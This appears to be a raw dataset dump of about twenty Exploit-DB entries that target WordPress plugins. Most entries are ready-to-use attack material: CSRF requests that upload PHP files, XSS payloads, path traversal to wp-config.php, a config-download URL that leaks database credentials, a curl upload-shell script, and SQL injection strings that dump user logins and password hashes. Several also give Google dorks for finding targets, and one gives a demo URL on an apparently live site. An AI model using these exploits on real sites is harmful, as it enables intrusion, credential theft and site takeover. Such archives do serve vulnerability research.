deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41488
Description: WordPress Plugin File Manager 3.0.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2017-03-01
Author: David Vaartjes

Exploit:
<!--
Source: https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_file_manager_wordpress_plugin.html

Abstract
A Cross-Site Request Forgery (CSRF) vulnerability was found in the File Manager WordPress Plugin. Among others, this issue can be used to upload arbitrary PHP files to the server.

Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20[PII_REDACTED]

Tested versions
This issue was successfully tested on the File Manager WordPress Plugin version 3.0.1.

Fix
There is currently no fix available.

Introduction
The File Manager WordPress Plugin is a file manager for WordPress which can be used to upload, delete, copy, move, rename, archive and extract files without the need for FTP. It was discovered that the File Manager WordPress Plugin is vulnerable to Cross-Site Request Forgery.

Details
The upload form used by the plugin has no protection against CSRF attacks. As a result an attacker can for example upload arbitrary PHP files to the server.

Please note that the target user needs to be logged in.

Proof of concept
The target parameter holds a Base64-encoded destination path. By using the proof of concept request below a file named info.php is uploaded to the /wp-content/uploads/file-manager/ directory.

When uploaded, this file can be requested from the outside as follows:
http://<wp-server>/wp-content/uploads/file-manager/info.php

Request:
-->

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <wp-server>
Cookie: ALL_YOUR_WP_COOKIES
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]62893907
   
----------------------------[PII_REDACTED][PII_REDACTED]62893907
Content-Disposition: form-data; name="cmd"
   
upload
----------------------------[PII_REDACTED][PII_REDACTED]62893907
Content-Disposition: form-data; name="target"
   
l1_d3AtY29udGVudC91cGxvYWRzL2ZpbGUtbWFuYWdlcg
----------------------------[PII_REDACTED][PII_REDACTED]62893907
Content-Disposition: form-data; name="suffix"
   
~
----------------------------[PII_REDACTED][PII_REDACTED]62893907
Content-Disposition: form-data; name="action"
   
connector
----------------------------[PII_REDACTED][PII_REDACTED]62893907
Content-Disposition: form-data; name="upload[]"; filename="info.php"
Content-Type: text/php
   
<?php
phpinfo();
?>
----------------------------[PII_REDACTED][PII_REDACTED]62893907--
Exploit-DB #44443
Description: WordPress Plugin File Upload 4.3.2 - Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-10
Author: ManhNho

Exploit:
# Exploit Title: WordPress Plugin WordPress File Upload 4.3.2 - Stored XSS
# Date: 31/03/2018
# Exploit Author: ManhNho
# Vendor Homepage: https://www.iptanus.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-file-upload.zip
# Version: 4.3.2
# Tested on: CentOS 6.5
# CVE : CVE-2018-9172
# Category : Webapps

1. Description
===========
WordPress File Upload is a WordPress plugin with more than 20.000 active
installations.
Version 4.3.2 (and possibly previous versions) are affected by a Stored XSS
vulnerability in the admin panel ,related to the "Uploader Instances"
functionality.

2. Proof of Concept
===========

1. Login to admin panel
2. Access to Wordpress File Upload Control Panel. In Uploader Instances
function, choose and edit created Instance
3. In Plugin ID field, inject XSS pattern such as:
<script>alert('ManhNho')</script> and click Update button
4. Access to Pages/Posts contain upload option, we got alert ManhNho

3. References
===========
https://www.iptanus.com/new-version-4-3-3-of-wordpress-file-upload-plugin/
https://wordpress.org/plugins/wp-file-upload/#developers
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9172
Exploit-DB #17858
Description: WordPress Plugin Filedownload 0.1 - 'download.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2011-09-19
Author: Septemb0x

Exploit:
# Exploit Title: WordPress Filedownload Plugin 0.1 (download.php) Remote File Disclosure Vulnerability
# Google Dork: inurl:"/wp-content/plugins/filedownload/download.php/?path"
# Date: 18-09-2011
# Author: Septemb0x ( CYBER-WARRIOR )
# Software Link: http://plugins.svn.wordpress.org/filedownload/trunk/filedownload.php
# Version: 0.1


POC : /wp-content/plugins/filedownload/download.php/?path=../../../wp-config.php
     

# NOTE: Kendini Birþey Zanneden Velet  Senin Hiç Böyle Bug'n Oldumu ki Sitelerime Ýndex Basasýn? Öptüm Büyüde Gel.
Exploit-DB #50458
Description: WordPress Plugin Filterable Portfolio Gallery 1.0 - 'title' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-10-26
Author: Murat DEMİRCİ

Exploit:
# Exploit Title: WordPress Plugin Filterable Portfolio Gallery 1.0 - 'title' Stored Cross-Site Scripting (XSS)
# Date: 10/25/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: http://www.filterable-portfolio.com/
# Software Link: https://wordpress.org/plugins/fg-gallery/
# Version: 1.0
# Tested on : Windows 10

#Poc:

1. Install Latest WordPress

2. Install and activate Filterable Portfolio Gallery 1.0

3. Open plugin on the left frame and enter JavaScript payload which is mentioned below into 'title' field, save and preview.

<img src=x onerror=alert(1)> 

4. You will observe that the payload successfully got stored into the database and alert will be seen on the screen.
Exploit-DB #37677
Description: WordPress Plugin Finder - 'order' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-25
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/55217/info

The Finder plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/finder/index.php?by=type&dir=tv&order=%22%3E%3Cscript%3Ealert(0);%3C/script%3E
Exploit-DB #14308
Description: WordPress Plugin Firestats - Remote Configuration File Download
Type: webapps
Platform: php
Date: 2010-07-09
Author: Jelmer de Hen

Exploit:
# Exploit Title: Wordpress firestats remote configuration file download

# Date: 2010-07-09
# Author: Jelmer de Hen
# Software Link: http://firestats.cc/
# Version: 1.6.5
# Tested on: PHP Do a simple GET request to this file:

/wp-content/plugins/firestats/php/tools/get_config.php

This will allow you to download a configuration file which contains the database username and password.
		 	   		  
http://h.ackack.net/more-0day-wordpress-security-leaks-in-firestats.html
Exploit-DB #33367
Description: WordPress Plugin Firestats 1.0.2 - Multiple Cross-Site Scripting / Authentication Bypass Vulnerabilities (1)
Type: webapps
Platform: php
Date: 2009-11-24
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/37099/info

The FireStats plugin for WordPress is prone to multiple cross-site scripting vulnerabilities and an authentication-bypass vulnerability.

An attacker may leverage these issues to gain unauthorized access to the affected application and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

FireStats 1.0.2 is vulnerable; other versions may also be affected. 

<html> <head> <title>FireStats XSS exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://www.example.com/wp-content/plugins/firestats/php/ajax-handler.php?FS_FULL_INSTALLATION=1&FS_IN_WORDPRESS=0" method="post"> <input type="hidden" name="action" value="<BODY onload=alert(document.cookie)>" /> </body> </html>
Exploit-DB #33368
Description: WordPress Plugin Firestats 1.0.2 - Multiple Cross-Site Scripting / Authentication Bypass Vulnerabilities (2)
Type: webapps
Platform: php
Date: 2009-11-24
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/37099/info
 
The FireStats plugin for WordPress is prone to multiple cross-site scripting vulnerabilities and an authentication-bypass vulnerability.
 
An attacker may leverage these issues to gain unauthorized access to the affected application and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
FireStats 1.0.2 is vulnerable; other versions may also be affected. 

<html> <head> <title>FireStats Insuficient Anti-automation exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://www.example.com/wp-content/plugins/firestats/php/ajax-handler.php?FS_FULL_INSTALLATION=1&FS_IN_WORDPRESS=0" method="post"> <input type="hidden" name="action" value="reclaculateDBCache" /> </body> </html>
Exploit-DB #34294
Description: WordPress Plugin Firestats 1.6.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-09
Author: Jelmer de Hen

Exploit:
source: https://www.securityfocus.com/bid/41548/info

FireStats is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

FireStats 1.6.5 is vulnerable; other versions may be affected. 

http://www.example.com/wp-content/plugins/firestats/php/window-add-excluded-ip.php?edit=%3Cscript%3Ealert%28123%29%3C/script%3E
http://www.example.com/wp-content/plugins/firestats/php/window-add-excluded-url.php?edit=%3Cscript%3Ealert%28123%29%3C/script%3E
http://www.example.com/wp-content/plugins/firestats/php/window-new-edit-site.php?site_id=%27%20onmousemove=alert%28123%29;%20style=width:900;height:900;%20a=
Exploit-DB #22071
Description: WordPress Plugin FireStorm Professional Real Estate 2.06.01 - SQL Injection
Type: webapps
Platform: php
Date: 2012-10-18
Author: Ashiyane Digital Security Team

Exploit:
# Exploit Title: Wordpress FireStorm Professional Real Estate 2.06.01 SQL Injection Vulnerability
# Google Dork: inurl:"/fs-real-estate-plugin/xml/marker_listings.xml?id="
# Exploit Author: Ashiyane Digital Security Team
# Software Link: http://www.firestormplugins.com/plugins/real-estate/
# Category: Web Application
# Version: 2.06.01
# Tested on: Windows 7
###############################################################
* Location:  http://site.com//wp-content/plugins/fs-real-estate-plugin/xml/marker_listings.xml?id=[SQL]
* Exploit Code: http://site.com//wp-content/plugins/fs-real-estate-plugin/xml/marker_listings.xml?id=1%20union%20all%20select%201,2,3,4,5,6,7,8,group_concat(user_login,char(58),user_pass,char(58),user_email),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from wp_users--
***************************************************************
* Greetz to: My Lord Allah
* Sp Tnx To: Behrooz_Ice,Q7X,Ali_Eagle,Azazel,iman_taktaz,sha2ow,0x21HATE,A.S.P.I.R.I.N,am118,Angel--D3m0n,angola,AR455,Azad,Black-Hole,Classic,Encoder,ERroR,Hashor
* HASSAN20,HidDeEn,hossein19123,jooooondost,Kaz3m,ll_Invisible_ll,majidflash,megacpu,MehrdadLinux,Milad-Bushehr,MostafaBestMan,Mute,N4H,Pr0grammer,PrinceofHacking
* Rizux,rlsi2020,Rz04,S!YOU.T4r.6T,Sil3nt Di3,The Smith,unique2world,Unline,V!T0N,X-HIDDEN-X
* Crypt0,khatarnak,Milad22,MrR.CICILI,V1R4N64R,Pirjo
* And All Of My Friends 
* The Last One : My Self, Milwar 
***************************************************************
###############################################################
Exploit-DB #41841
Description: WordPress Plugin Firewall 2 1.3 - Cross-Site Request Forgery / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-04-07
Author: dxw

Exploit:
<!--
Details
================
Software: WordPress Firewall 2
Version: 1.3
Homepage: https://wordpress.org/plugins/wordpress-firewall-2/
Advisory report: https://security.dxw.com/advisories/csrfstored-xss-in-wordpress-firewall-2-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can

Vulnerability
================
HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings page.

Proof of concept
================
Visit the following page, click on the submit button, then visit the plugin’s options page:
-->

<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\">
  <input type=\"text\" name=\"email_address\" value=\""><script>alert(1)</script>\">
  <input type=\"text\" name=\"set_email\" value=\"Set Email\">
  <input type=\"submit\">
</form>

<!--
In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing.

Mitigations
================
Disable the plugin until a new version is released that fixes this bug.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2016-12-23: Discovered
2017-03-16: Reported to vendor by email
2017-04-04: Vendor could not be contacted



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
-->
Exploit-DB #50325
Description: WordPress Plugin Fitness Calculators 1.9.5 - Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2021-09-23
Author: 0xB9

Exploit:
# Exploit Title: WordPress Plugin Fitness Calculators 1.9.5 - Cross-Site Request Forgery (CSRF)
# Date: 2/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/fitness-calculators/
# Version: 1.9.5
# Tested on: Windows 10
# CVE: CVE-2021-24272

1. Description:
The plugin add calculators for Water intake, BMI calculator, protein Intake, and Body Fat and was lacking CSRF check, allowing attackers to make logged in users perform unwanted actions, such as change the calculator headers. 
Due to the lack of sanitisation, this could also lead to a Stored Cross-Site Scripting issue

2. Proof of Concept:

<form method="post" action="https://example.com/wp-admin/admin.php?page=fcp_dashboard&tab=water">
    <input type="text" value="<script>alert(1)</script>" name="fcw[fcw_heading]">
    <input type="submit" value="Save" name="submit">
</form>
Exploit-DB #38674
Description: WordPress Plugin FlagEm - 'cID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-07-22
Author: IeDb ir

Exploit:
source: https://www.securityfocus.com/bid/61401/info

The FlagEm plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/FlagEm/flagit.php?cID=[Xss]
Exploit-DB #36383
Description: WordPress Plugin flash-album-gallery - 'facebook.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-30
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/50861/info

flash-album-gallery plug-in for WordPress is prone to a cross-site-scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/facebook.php?i=[xss]
Exploit-DB #36444
Description: WordPress Plugin flash-album-gallery - 'flagshow.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-13
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/51031/info

flash-album-gallery plug-in for WordPress is prone to a cross-site-scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/flagshow.php?pid=[xss]
Exploit-DB #36317
Description: WordPress Plugin Flexible Custom Post Type - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-17
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/50719/info

Flexible Custom Post Type plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=[xss]
Exploit-DB #37452
Description: WordPress Plugin Flip Book - 'PHP.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-23
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54173/info

Flip Book is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Flip Book 1.0 is vulnerable; other versions may also be affected. 

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Sammy FORGIT member from Inj3ct0r Team             1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
##################################################
# Description : Wordpress Plugins - Flip Book Arbitrary File Upload Vulnerability
# Version : 1.0
# link : http://codecanyon.net/item/flip-book-wordpress-plugin/152641
# Price : 30$
# Date : 22-06-2012
# Google Dork : inurl:/wp-content/plugins/flipbook/
# Site : 1337day.com Inj3ct0r Exploit Database
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################


Exploit :

<?php

$uploadfile="lo.php";

$ch = curl_init("http://www.exemple.com/wordpress/wp-content/plugins/flipbook/php.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>

Shell Access : http://www.exemple.com/wordpress/wp-includes/fb-images/lo.php

lo.php
<?php
phpinfo();
?>


# Site : 1337day.com Inj3ct0r Exploit Database
Exploit-DB #38012
Description: WordPress Plugin FLV Player - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-07
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/56418/info

The FLV Player plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

FLV Player 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/hitasoft_player/config.php?id=1%20union%20all%20select%201,2,3,4,5,6,7,8,user_login,10,11,12,13,14,15,16,17 from wp_users--
Exploit-DB #8229
Description: WordPress Plugin fMoblog 2.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-17
Author: strange kevin

Exploit:
#############################################################
# Wordpress Plugin fMoblog Remote SQL Injection Vulnerability
# Plugin Home: http://www.fahlstad.se/wp-plugins/fmoblog/
# Plugin Version: 2.1
# Author: strange kevin
# Email: strange.kevin@gmail.com
# Google Dork: "Gallery powered by fMoblog"
##############################################################

# Exploit: http://www.site.com/?page_id=[valid_id]&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users--
# Demo: http://www.tarynitup.com/?page_id=20&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users--

##############################################################
# Greetz: str0ke and milw0rm.com
##############################################################

# milw0rm.com [2009-03-17]